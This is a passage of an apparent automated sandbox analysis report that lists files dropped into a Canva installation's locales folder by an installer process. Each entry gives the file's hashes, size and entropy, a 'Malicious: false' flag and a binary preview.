Preview:	........K%..e.@...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.............!.....).....1.....9.....@.....G.....N.....O.....P.....R.....`.....m.....}.................u.................*.....v.......................v.................7.......................:.............................\.....}.................S.......................^.......................J.....t.................).....V.....c...........).....d.....w...........R......................./.....J.....[.............................m.......................F.......................-.....~.......................V......................./.....\.....h.................H.....U.................?.....Q.............................T.......................,.....r.......................V.......................-.....G.....U.................5.....D.................<.....U...........M.................#.......................6.............................M.....l.....\|...........;.....r.

C:\Program Files (x86)\Canva\locales\is-B54IU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	510468
Entropy (8bit):	5.247079358159538
Encrypted:	false
SSDEEP:	6144:v8fC43K+W84G7nWiBx7+2YRldjiMIUcGm95bbHxOM9LLEWVHc:0V3KE4CnPx7AldPc9530Me
MD5:	EE31ADEDC69D7926395E4740E724245D
SHA1:	4403D976C2C559747E15B219E76342ED3B41E5CE
SHA-256:	280AE72F9FB328D6B9E0BAA5C27157E7E5BF0EBF699EBEAC597DA0ED4F670776
SHA-512:	69426971040E9C8C5F9645A9E8ECE83E166575C23D9B1C5DB3F5A22488E5F7988127799FFF4CBC7445D8407E5F0761A666713C433030ACCCA4C991DD323F3181
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.%...t.....v.C...w.P...y.V...z.e...\|.k...}.}...........................................................................................................s.................N.......................p.................7.......................Q.......................G.......................I.......................o...........(.....@.............................m.......................[.......................x...........E.....W.............................a.......................3...............................................&.....................................................m.......................`.........................................0.............................b.......................?.....h.....y...........(.....]....................... .....,.......................-.................;.....T...........K.......................\|.................5.............................Y.....{.................9.....f.

C:\Program Files (x86)\Canva\locales\is-BSEFV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	511257
Entropy (8bit):	5.365372926149592
Encrypted:	false
SSDEEP:	12288:syWoBilbWusvbgQ5Max5btohx4Gp7KYjOTy:syWIilbWusB5Max5behx4Gp7KYC2
MD5:	834219D952A58BDB01B40CCE5269D449
SHA1:	C325FDD7E21E993B745233086C9DF4376901E2B4
SHA-256:	9B46EEC8A0B0B568DDC35387CA02C2116BAA7520EFB04D92325FEC17D5091353
SHA-512:	9C28177D8530B24FEDCCDD7B4562A87CDF08567410D82FFC3E5A874474695A18EB533E7D55E4A901B77C873A22BEFF570B5C5CD79B47947B5BF3AF2C38B9D486
Malicious:	false
Preview:	........M%..e.D...h.L...i.]...j.i...k.x...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}....... .....%.....-.....5.....=.....D.....K.....R.....S.....T.....V.....b.....r.................#.......................r.................".................N.....d...........1.....g.....~...........).....R.....a.................5.....C.................R.....s...........K.......................`.......................o.................-.......................v...........5.....N.......................%.....s.......................G.......................6.......................8.............................p.......................O.....{.................D.....x.................c.......................r.......................X.....y.................F.....n.................R.......................W.....u.................M.......................b.................H................./................._.................O.......................8.....\.....l............ ....\

C:\Program Files (x86)\Canva\locales\is-CIIHN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	453011
Entropy (8bit):	6.676159403780886
Encrypted:	false
SSDEEP:	6144:1K2A4c8ADmJUHGF2tuDasg5V5gjkzBMOZQyZV7zeXTA:8Z8Ahwasg5V5gjkzpr/7/
MD5:	D6800784F1138702E4973CC5B074FE6C
SHA1:	A8938CED7FE5A35163C28214EADD96A6F63A8666
SHA-256:	D2C4AEC734BC94FBE7D60666343B4E419BE5E2CD1FF445A8BBF14FB4B8D3D715
SHA-512:	3AD3557908E4BA71A5062AB0BE07832D553E6A3BD56BDD59A719DF65A4D9152950AF2DE25C6C410B6407463A862C92D49E9D0EE863BEF27A792AA128458FC7E7
Malicious:	false
Preview:	.........$..e.....h.&...i.7...j.;...k.J...l.U...n.]...o.b...p.j...q.p...r.\|...s.....t.....v.....w.....y.....z.....\|.....}.............................................................'.....3.....B.....Q...........A.......................9.....b.....n.................`.....r...........".....O.....a.................2.....>.............................f.......................Z.......................R.......................:.......................).......................?.......................E.............................C.....c.....o.................1.....@.............................p.......................S.......................;.............................h.......................e.......................@.....Z.....n................. .............................t.......................].............................g.......................O.....~...................................G.......................Y.......................#.....d.....y.................0.....W.....i...........".

C:\Program Files (x86)\Canva\locales\is-CS1NR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	801665
Entropy (8bit):	5.134245422974978
Encrypted:	false
SSDEEP:	12288:Xc/F4PuvV+8PomR0D2nyBO3QU56JhEFZWPOWojYzQYrNwadcJKwU8ueco/9NjjFE:Xcm6V5vWR
MD5:	4144860C649699B6237186D186697910
SHA1:	A1774F0AE15891A80D40202723E4DF4044788D40
SHA-256:	2E0B43AFA9C69288586ED404564EE2F420A87FF7936BDB48EFBF21CE8F58F468
SHA-512:	D1E1FF2BDC0E746E84C36B221C7CBBD49A905B6353A23914F1F9F4A9314F495B1D273230C99488F9A3B61980211D90E996165B3DF7A3AA761E374D2A35AC8CD9
Malicious:	false
Preview:	........V%..e.V...h.^...i.f...j.r...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....F.....M.....T.....[.....\.....].....b.....z.............................l.....................................................'.....\.......................:...........E.................H.................7...........C.................\|...........y...........Z...........J.....i........................................7.....c.....A.......................<...................................6.....X...........A.................9.................+...........J.................L................./...........+.....w.............................. ..... ....q!.....!....."....."....(#....n#.....#.....$.....$.....$.....$....g%.....%....'&....H&.....'.....'.....(....J(.....(....K).....).....)....W.........2+....X+....,.....,....$-....U-....%...........\/...../....d0.....1.....1.....1.....2....13.....3.....3....[4.....4.....5....D5.....5....x6.....6

C:\Program Files (x86)\Canva\locales\is-D2DDN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	458528
Entropy (8bit):	6.664384291438873
Encrypted:	false
SSDEEP:	6144:nRAwX0s66VXNN5zu+E7/56aO/epD659+qjNFEwYHB07ulz:nRA3s6OXNzzt856aO/w65McNFEwmB/
MD5:	6AF4D1577C142B87DABD3262F37634C8
SHA1:	1B6152757B163455E9E1304E1BA1C09DD6593385
SHA-256:	374AED2859320A7287B64A8D1B150F7DE05A931BE3603A541B68DDD64EA361B1
SHA-512:	7F0A6CF88634E852B0E3E3B6B8A0C703602F3F606B8B34183D129F55EA2CE120E1C4D2EE2820FE027F025D422EBD0DFFE5F696303C1306F717129985CC0EF826
Malicious:	false
Preview:	.........$..e.f...h.n...i.v...j.y...k.....l.....m.....o.....p.....q.....r.....s.....t.....v.....w.....\|.....}...................#.....+.....:.....?.....G.....N.....U.....W.....\.....e.....q.........................................C.......................A.......................L.......................P.......................(.....u.......................V.....\|.................q.................#.............................f.......................R.......................h.......................G.....a.....{.................4.....@.............................g.......................o.......................O.......................4.............................^.......................y................. .....i.......................E.....j.................8.....\.....n.................O.....o.......................$.............................................../.................`.....r...........>.....v.................;.....a.....p.................!.....1.......................#.......

C:\Program Files (x86)\Canva\locales\is-DHGBG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1369647
Entropy (8bit):	4.256761759711836
Encrypted:	false
SSDEEP:	12288:oQyj0aIA2cMmsbbAU4LJxFq/ixn9mMl6UQ6KfUBp/OZCBEmeyo3ewhp5A47uhs4s:oQygaIiMGKfUBp+yo3eo5A47ks4+3X
MD5:	83069898AFA7CB0A288CF8D17505536F
SHA1:	2EC0F1F3CCDE4F88BBDF37EB1BF8FEDA82B12AB1
SHA-256:	957B57BAC9D8A927BE5CFBB74D23DCF69CF2678ECD4FCF2158A391F7A02FEA87
SHA-512:	E6F549C732F0BD0938B140978C49B2AA097876970ADFD7B87CA593ED54C3456C041FAC28883CFF7DA61C7EE3952A6C7EF2C4FAEDBFE6A23522FF6FFB083C24BB
Malicious:	false
Preview:	........t%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.,...w.9...y.?...z.N...\|.T...}.f.....n.....s.....{...........................................................$.....d.................Z.....C.......................W...........%.....r.....a.......................}.................n...........................................................I.................m.......................l.......................5.....y.................. ..... ....^".....#.....$.....$.....%....j&.....&.....&.....'....\|(.....(.....).....)..............*+.....,.....,....V-.....-....n....../...../...../.....0....n1.....1.....2.....3.....3....W4.....4....c5....+6.....6.....6.....7.....9.....9.....:.....:.....;....!<....Y<.....=.....=.....>....T>....0?.....?.....@.....@.....B.....B.....C.....D.....D.....E.....F....ZF....\|G....sH.....I....TI.....J....UK.....L....SL.....M.....N....yO.....O.....P.....Q.....R.....R....-T....(U.....U.....V.....W.....W....eX.....X.....Y.....Z.....[

C:\Program Files (x86)\Canva\locales\is-DI76V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	568567
Entropy (8bit):	5.839431034543846
Encrypted:	false
SSDEEP:	6144:0/AkCOZjqspN1oAUGCDAfiebO5zU8rEsiNOPY3SBFmPy38Qu:0dJZuSPoAUTbe65zU8rEsiNOA3SzmPH
MD5:	0E52AC897F093B6B48B5063C816F6CA1
SHA1:	4F4FEBB42FD7CDD0BC7DF97C37DB0E4AA16518E4
SHA-256:	5635587F6FFB152C027B4357092FE78168E31CBC7F6BE694C627F819C1AD1D73
SHA-512:	9CF5594AC47AE967BD4221F61B92C97343EA0C911FBE992D35A9391E3E1E6560B1B41BD031074CD262A622CA88AF3B25BA33575B456A4D5B8A7B897233C0A54D
Malicious:	false
Preview:	........?%'.e.(...h.0...i.8...j.D...k.S...l.^...n.f...o.k...p.x...q.~...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................&.....-.........../.....1.....A.....S.....e.....z.......................'................. ...../...........2.........................................=.......................9.......................<...................................S.....u...........\.........................................9...................................G.....a.................0.....G.......................*.....y.......................h.......................\|.................&.....w.......................l...................................&.....:.........../.....s.................".....=.....Q.......................2.................%.....;.................\.................9.....T.....h...........K.....{.................j.................6...................................`.................d ..... ..... ..... ....Y!....~!.....!....."....l"....."

C:\Program Files (x86)\Canva\locales\is-E05MH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1358123
Entropy (8bit):	4.034318859603253
Encrypted:	false
SSDEEP:	6144:obtBkiv2nWiuF5uzGtR6cA25tm1vYpiMyj:afdenWzF5uz/cA25tm1vYpiMyj
MD5:	2F628ABBFE91A7738CD47142E42A4CCB
SHA1:	9FB966C32D237E3ADDBED97478CB84697BCF1FE3
SHA-256:	3C8DCE29BCF2B60BCC273229AFCA64EB07A73C729D0D20E35455CC5D933E9A69
SHA-512:	9A1F0A40E8FF8E68DD08DBEA55DCFF45E7BBE76DE45520323832A9004698E6AB30D53ECA58EFE6DB08621F940A80C3AE441E038BCEFA4206CAFAF664E6CC0BFB
Malicious:	false
Preview:	........@%&.e....h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...............................#..........1.....8.....9.....:.....?.....m.................<...........7...........&.....x...........b......................\.................'.............................Q...........l.....N.........................................o...........w...................................=.....e...........9...... .....!.....".....#.....$.....%.....&.....'.....(.....(....:).....)....o....K+.....+.....+.....,.....-..........;.....f/....p0.....1....N1....E2....63.....3.....3.....4.....5....56....c6....\7....L8.....8.....8.....9.....:....\;.....;.....<....<>.....?....\?....W@....?A.....A.....A.....B.....C.....C....HD.....E.....F.....F.....G....GH....UI.....I....]J....5K.....K....KL.....L.....M.....N....]O.....O....-Q....@R....!S....rS....^U....HW.....X.....X....FZ....S[.....\....}\.....]....._....._....)`....-a.....b.....b.....b.....d....;e.....e

C:\Program Files (x86)\Canva\locales\is-EKKNN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	498248
Entropy (8bit):	5.542683564471982
Encrypted:	false
SSDEEP:	6144:g3MKUcRe61TO/AYcNUAvSCZxemvZl1BI4RFcz9RyoxGOGW3IiRMaSOmDE/xWcqdk:g3/LCAYcGC1l5+5dzB
MD5:	02AD118E6E093D71E32291958F5A44FA
SHA1:	111974CF0FBC304B1395A6D68FF3A79A25B72B76
SHA-256:	A615C0756155436781F8E8543D4B4163B7D96CBDF58BA86DDCE8B39C5B7A17C8
SHA-512:	717A438BBEE8D21011C1DA203B5126EF4AC330CD94013A93EEBA518E5E33772A8667A84C368B1A9B2D1E151D8A81E53CD0C5C59C58A578BD4AA1345115C4A49B
Malicious:	false
Preview:	........)%=.e.....h.....i.....j.!...k.0...l.;...n.C...o.H...p.U...q.[...r.g...s.x...t.....v.....w.....y.....z.....\|.....}...............................................................................1.....E.....Y...........^.................%.......................a.................G.................P.....l...........".....Q.....a...........!.....R.....b...........F.........................................K.......................U...................................[.....q.............................j.......................F.......................#.....{.........................................$.............................v.......................f.......................d.......................x................. .....s.......................I.....g.......................;.....M...........%.....b.................F.....e.....{...........7....._.....t...........-.....h.....~.............................m.................;.................7.....J.................. ..... ....l ..... .....

C:\Program Files (x86)\Canva\locales\is-G3GLH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	571219
Entropy (8bit):	5.764870780434209
Encrypted:	false
SSDEEP:	12288:HlRzWoOB/k0wvZfQfR6HA5bFVP3CUdCe3mhUrMAmW1Qh4Mh59M14scly:HlR9glMe1Qhz53Q
MD5:	75E71F0C6E72AC4F9DAD168BA307D2B0
SHA1:	41129512809F2AFAE64B04FB1EFA81D9C22B8389
SHA-256:	C8F76EF189D14A0C75407DC40348CD9171F5997A94A4961D86152CEA2258ECF6
SHA-512:	EBB279F36D612CB1D94E9333140CACFC9E7946A646CF28CD75F55AB20680B4ED5645AC9887FA528A07F8BB03FE942D8E104D63AF1B11CB9F79826F34E53DBEF6
Malicious:	false
Preview:	........a%..e.l...h.t...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.&...\|.,...}.>.....F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....\|.............................b...........].....y...........G.................&.......................s.................(.................................................................;.....a...........W.................4.......................J.......................v...........:.....V...........g.................C.............................O.....r.......................6.....D.................F.....Z.................H.....Z.................@.....P.................'.....7.................'.....8...........".....o.................!.....>.....U.......................E.................5.....J.................k.................5.....S.....j.................C....._...........<.....................................................1.....\............ ....C ....T ..... ..... .....!.....!.....!.....!....("

C:\Program Files (x86)\Canva\locales\is-I3L63.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	871955
Entropy (8bit):	4.902875426840413
Encrypted:	false
SSDEEP:	12288:4P9FlB5/G/d/RXCwR14fvPUKzUUk/K5MN0j+OzIh4pG:4LhQza5R+9
MD5:	4D0A0771176823BF004F9182B94BDE82
SHA1:	7E0601D8DCA0404736787D85918D1A680A7E68EC
SHA-256:	04E83274DEC0274DCCBD97DABCEFE3174EA1DA5B62B5D24E047E2036B93F3482
SHA-512:	6DD144273252026BCF08BE52189EA5A15410A42A616C9FAC14EDB4BE7D98023B65FA1746ED50B654E57F140790E8A92B1080F2F035ADB81B7D10AA473F2DCA61
Malicious:	false
Preview:	.........%8.e.....h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...q._...r.k...s.\|...t.....v.....w.....y.....z.....\|.....}.........................................................................K.............................;....._...................................m.......................b.................w...........Q.....h...........[.................D...........(.....m.....(...........:.....`.....?.......................S...........G.....u.................Q.....l.....s.....`...........?...........M.....w...........>...................................G.....g.................A....._...........^.................T...........>.....b...........g.................C ..... .....!....$!.....!....["....."....."....]#.....#.....$....5$.....$....0%....e%.....&.....&.....'....$'.....'....G(.....(.....(....L).....).....).....).....*.....+....T+....z+.....,....q,.....,.....,.....-..........t/...../....S0.....0....11....h1.....1....v2.....2.....2....33.....3.....3.....3.....4....75.....5.....5....K6

C:\Program Files (x86)\Canva\locales\is-IDB57.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	489715
Entropy (8bit):	5.4071564375394185
Encrypted:	false
SSDEEP:	12288:3an0y+3zo5ExirXKhaG1B2+H2JynyaI4IVzZo0vgElgA2W0PSq+2ss30fzO75g6D:3a0y+3zouxkXyd1B2+H2JynyaI4IVzZW
MD5:	2602CD68EBE25F12F5D9892D5FA92B11
SHA1:	478766DCC8CE4427872BEBD81AD929F7AEF250A3
SHA-256:	E36A906908A92DAD39AD8E5B344B38C538574E35C5386AC2B901640B202D3228
SHA-512:	6BBECBEAA6E09857A5698A280475496498A88488249025B2F58CA7A8493A77BC13FCD783041A6198F58696F4E2A84C3DBEE0891E89800DAC6F3FB317F70C5492
Malicious:	false
Preview:	........T%..e.R...h.Z...i.b...j.n...k.}...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......%.....*.....2.....:.....B.....I.....P.....W.....X.....Y.....^.....k.....z.................!.......................U.......................g.................%................. .....9.............................j.......................^.......................m.......................y.......................u.........................................2.................c.....z.................,.....=.............................J.............................e.......................Y.......................5.....].....f.................%...................................z...........(.....?.............................z.......................X.......................P.......................s.......................F.......................F.......................l...........8.....L...........%.....d.................J.....~.................!.....E.....S.................,.

C:\Program Files (x86)\Canva\locales\is-KANOJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	504052
Entropy (8bit):	5.421469618205756
Encrypted:	false
SSDEEP:	12288:/aVXt4D7SmA19ub5KuOar5yZ7kfCHEpyWaM7OYM:/64D7Smll5yFHZl
MD5:	83DEC7D70140F96E780BCA0E97EB3DFA
SHA1:	E0C9891241D88716419F476BB193ADA5D8606EB1
SHA-256:	AE902AB57A1325D4F0A0A1C69790F28F5E49B5671A99C4C315367B4425D1DE97
SHA-512:	7B1851C2476290DBDE7DCBEFBE75F89041EC185DC4354DB55FFE2DA588E17363403921EEAF9FD26EBA8EB4DE3BF99876339DE1DD4219EC6F5E2EA3679B90BE71
Malicious:	false
Preview:	.........%f.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~...........................................................................................................h.....{...........A.....t.................d.........................................'.....}.......................N.....n.....~...........*.....P.....j...........M.......................[.......................].......................^.................&.......................O.......................).....u.......................I.....r.....~...........!.....K.....U.................4.....A.............................n.......................R.......................G.......................d.......................1.......................'.......................%......................./.....o.......................L.....v.................D.....}...................................k.......................{.......................V.............................u.......

C:\Program Files (x86)\Canva\locales\is-KBLJB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	493540
Entropy (8bit):	5.454116761923621
Encrypted:	false
SSDEEP:	6144:+pQdZQe2AH5hJ1HNR5yyX+DuH/Fb0WmFosS4Eqsoh7Pwiw5dQH57jnMlvCKMvaKL:+yZ92ejyyIuJmFoszwQH57jUW
MD5:	78A8A4956B1CD09124B448985A839F28
SHA1:	A25BCAB44ED12DD0DD643AA6782903B22B84816B
SHA-256:	AC1431E61F8C6C56EF96860DC8A8DDF840DBF6965AF6B920D811B7E39ADAB6B1
SHA-512:	843BAFCE3E528BA98A3FF537B01D7896F83C22C0AD2E43BBCE83381FAA943D74D7B11B419DAAC0B0F57DE30D5792E3262DEFE9C68F5F4C7CA84B173395D14798
Malicious:	false
Preview:	........n%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v. ...w.-...y.3...z.B...\|.H...}.Z.....b.....g.....o.....w.......................................................................c...........Z.....u...........D.....t.................i...............................................}.......................l.......................k.........................................G.......................K.......................[...................................K.....b...........'.....I.....d.................0.....<.......................+.................3.....>.................?.....M.................7.....?.................2.....A.................4.....<...........$....._.....w...........%.....D.....Z.................<....._.................D.....Q.................M.....y.................6.....G.................3.....K.................O.....j...........e.................S.................>.................P.....].................. ....- ..... ..... ....)!

C:\Program Files (x86)\Canva\locales\is-L6S5U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	906398
Entropy (8bit):	4.655210398798349
Encrypted:	false
SSDEEP:	24576:E+CDcquMMLYzzQkECPUwVbtcHU373ZA+3aAKHkVDYyKzumpod2nm5c0XuGox3QN3:hCDcquMMLYUKUwVbtcHU373Z93arkVDn
MD5:	D0B47C1CF62B29B866CA630958A019FB
SHA1:	BAE6E1AF9D7225584510443AED21A40FCEA349E3
SHA-256:	24C09721C3CB4F3FE7EB403113375257197BED808295C6B85532409B6664DB45
SHA-512:	39472B1F6859C10CC782A303761D63A2409807D7D342C3BC558075284CF455A26C3E1B9B4CE67A5FBD84E6C4B621ADCFD8FD8A819CFC25554962454E5F4B5816
Malicious:	false
Preview:	........W%..e.X...h.`...i.h...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....d.........................................a...........i...................................l.................]...........$...........O.................T...........,.....R.....>...........^.................p...........<.....&...........r...........p.............................[....................................................R.....y..... .................+...........P.................w...... ....g ..... ....6!.....!....."....)"....."....<#.....#.....#....5$.....$.....$.....%.....%....J&.....&.....&.....'.....(....K)....})....'..............%+.....+....-,....o,.....,.....-....E................../.....0.....0....l1.....2.....2.....2.....3.....3....x4.....4.....5.....5.....6.....7....>7.....8.....9.....9.....9.....:.....;.....<....O<.....=.....=.....>....E>.....>....p?.....?.....?.....@.....A....6B

C:\Program Files (x86)\Canva\locales\is-LIE0A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	548310
Entropy (8bit):	5.5075408976258435
Encrypted:	false
SSDEEP:	3072:21tKv376P+UG5oi2IAD1OaBV08HSrk7D+wfWrDfB+uhAxqOSAq6+xMcwd0uP5qci:21tKvL6KrA5nEBwuBhbkBc5Pg7YIjemK
MD5:	7BA9BF24F9965EF7FF2A9EEA86188EE0
SHA1:	B9953144FB5E519A7A35AE595A29D15BBD34C0F1
SHA-256:	F882072827C75A5C046E29CC4E2468A41CB786199045B58550E978272D338FE8
SHA-512:	768213543C68CAF8CA941B1C7C87E5DDDAAFC4915457A849C83B4FECE528BB7BDA409B99930572DBC6A102FD7DBB29A593073B1D5B894708AB2B2019A938BE2B
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.(...w.5...y.;...z.J...\|.P...}.b.....j.....o.....w.............................................................................w...........e.................R.................#.......................q.................(.......................$.....y.......................x.................,...........).....}.................k.................+.......................M.................'...........@.................%.....v.......................P.....r.......................6.....F.................@.....U.................2.....A.................D.....Y.................,.....<.......................$................._.....z.................<.....Y.......................?.......................,.................Q.................-.....R.....h...........5.....g.................a.................Y...........4.....F.................l.................S ..... ..... ..... ....0!....N!....`!.....!....<"....z"

C:\Program Files (x86)\Canva\locales\is-M2J56.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	808052
Entropy (8bit):	5.022679220176124
Encrypted:	false
SSDEEP:	24576:Jap2Eq8u313uyqoT+s7q+NRmX1loT4RmdAQifaQ2XxFMJGk620driUHMX9O9xdpW:sUjJ5SV
MD5:	6C6C939CBCE5A9AE6B6A89B9DC1B14CD
SHA1:	8674B02FB2A11BA6664427C78401D261DCEC859C
SHA-256:	D77AADACDB5B72345C68590ECE6463EFCDD4E8817FE3DEDAD98D64F132B8E48F
SHA-512:	3CF8ECCAC20108550C2A7758531AE992D72AA23396ABDFD38E613ED26FC755FA33385B4538DCE9E19309B622973CA6D4C0FEEEDC7064DF9BB12419DFC630D545
Malicious:	false
Preview:	.........%W.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.!...r.-...s.>...t.G...v.\...w.i...y.o...z.~...\|.....}...............................................................................7.....^.....C.......................h.......................i.....).......................R.................k...........].....p...................................I.................r...........g...........%.................-...........l.......................O.......................\|.......................#.....W.....{.............................Y.........../.....F...........~.................s...........S.....j...........v.................N.................@...........f.................f .....!....r!.....!.....".....".....".....".....#....4$....y$.....$....I%.....%....6&....V&.....'.....'.....'....A(.....(....7)....\)....w)....1.........-+....O+.....+.....,.....,.....,.....-.........../...../....p0.....1....r1.....1....a2.....3....W3....z3.....3....\|4.....4.....4....t5.....6....`6.....6

C:\Program Files (x86)\Canva\locales\is-M6KA3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	919180
Entropy (8bit):	4.8229638553919765
Encrypted:	false
SSDEEP:	12288:vzmSGKfQjRo4YS5KCx/K6NzJ9ZF/Aalla4qSGsN9z/0TYH8eXN2hVO3j/tSbzvMv:vYXxm506tU
MD5:	DE3B5FAF5D64B16867BE213591E545B9
SHA1:	5B8BDAF38278604B5031E1C944349A31FDD281B4
SHA-256:	07DBEEE5A0B9C6C978D1C593DB5DD6152003FA12170A8189BDDE77908D826DCF
SHA-512:	5808A46DD05302338EF63B1F1815828840218324A6FBB1AE6B19F62D803795BA13F7AB7AEE1E39137F61F99651AC80166781CDB1F295FBBFDBB218C5A293967F
Malicious:	false
Preview:	.........$..e.....h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...q.{...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................#..........+.....,...........K.....h.................h.....(.................y...........{...........~.....;.................y...........>.....x.....'.........../.....R.................H....._.......................A.....4...........~...........q...........V...........2.................8.......................G.....K.....E.......................'.....T...................................V...................................O.....t.........................................W.....n...........k.................9........................ ..... ....V!.....!....."....\|"....."....."....K#.....#.....#.....#....s$.....%....{%.....%.....&....%'.....'.....'....s(.....(.....(.....).....)....>....~.........\|+.....+....d,.....,....a-......................./.....0.....1....c1.....2.....2.....2.....2....o3.....3.....4....64.....5.....5....+6

C:\Program Files (x86)\Canva\locales\is-N5EST.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	495339
Entropy (8bit):	5.423906423434989
Encrypted:	false
SSDEEP:	6144:GsKfvlCYYJ+8hz2bdXw5Op7fW9SighmrlDhP5RV5iM43CuMhVCD9vt:KVCj0bxw5Op7fW9S8lNxRV5iM43JF9vt
MD5:	03F4AB4F1D042E41B37438AD38DDC794
SHA1:	D465F7B3B05AC289F7C96FB9CF6603C30AF81466
SHA-256:	1A35A4E5348CA851ADEC4EA1C666D56750D39174A35D74AB87CD061ABE063BF3
SHA-512:	D0007B98BA9D9F2BC102A516CDE49B3982DB4698A1BD31E22104F5F634072943C98C7CD53E8CB02E320FD3A1455F8AE42DD99679A527C64723BD3BBC37743C23
Malicious:	false
Preview:	........^%..e.f...h.n...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.(...\|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....\|.....~.............................Z...........M.....b...........+.....d.....w.............................W.......................X.......................F.......................G.......................s.................;...........H.................".......................^...........#.....=...........].......................h.......................=.....b.....r........... .....E.....U.................T.....h...........(.....V.....f.................`.....p...........#.....L.....\.................H.....V...........@.......................N.....t.................2.....Q.....j.................9.....K...........8.....w.................b.......................n.................$.....u.................2...................................E.....n...........6 ....b ....u ..... .....!.....!....<!.....!....."....5"

C:\Program Files (x86)\Canva\locales\is-NH3VV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	794986
Entropy (8bit):	4.8798900601209185
Encrypted:	false
SSDEEP:	24576:/x1ATZg8/xp1GCj+VRRz085d9tcV03OzPkS:Z1J5Q
MD5:	AC7A72616A544CDB022EDA20B0DC8872
SHA1:	50B7F8363894A7E33042412804EFA2BDA510ABA2
SHA-256:	1847F8517D8F26C856ADBF08DF3996D5F3B7AB61378199C138346BFE29675F01
SHA-512:	D5B3B851A0D6615ECCC1223CFBA6B285AC8387E0C0F9DF1FB5BD95C9A208813B31F56546FC9C624E7F3A12B35AB7E8ACD13EA85025B5F9CF74DEF60AD679A546
Malicious:	false
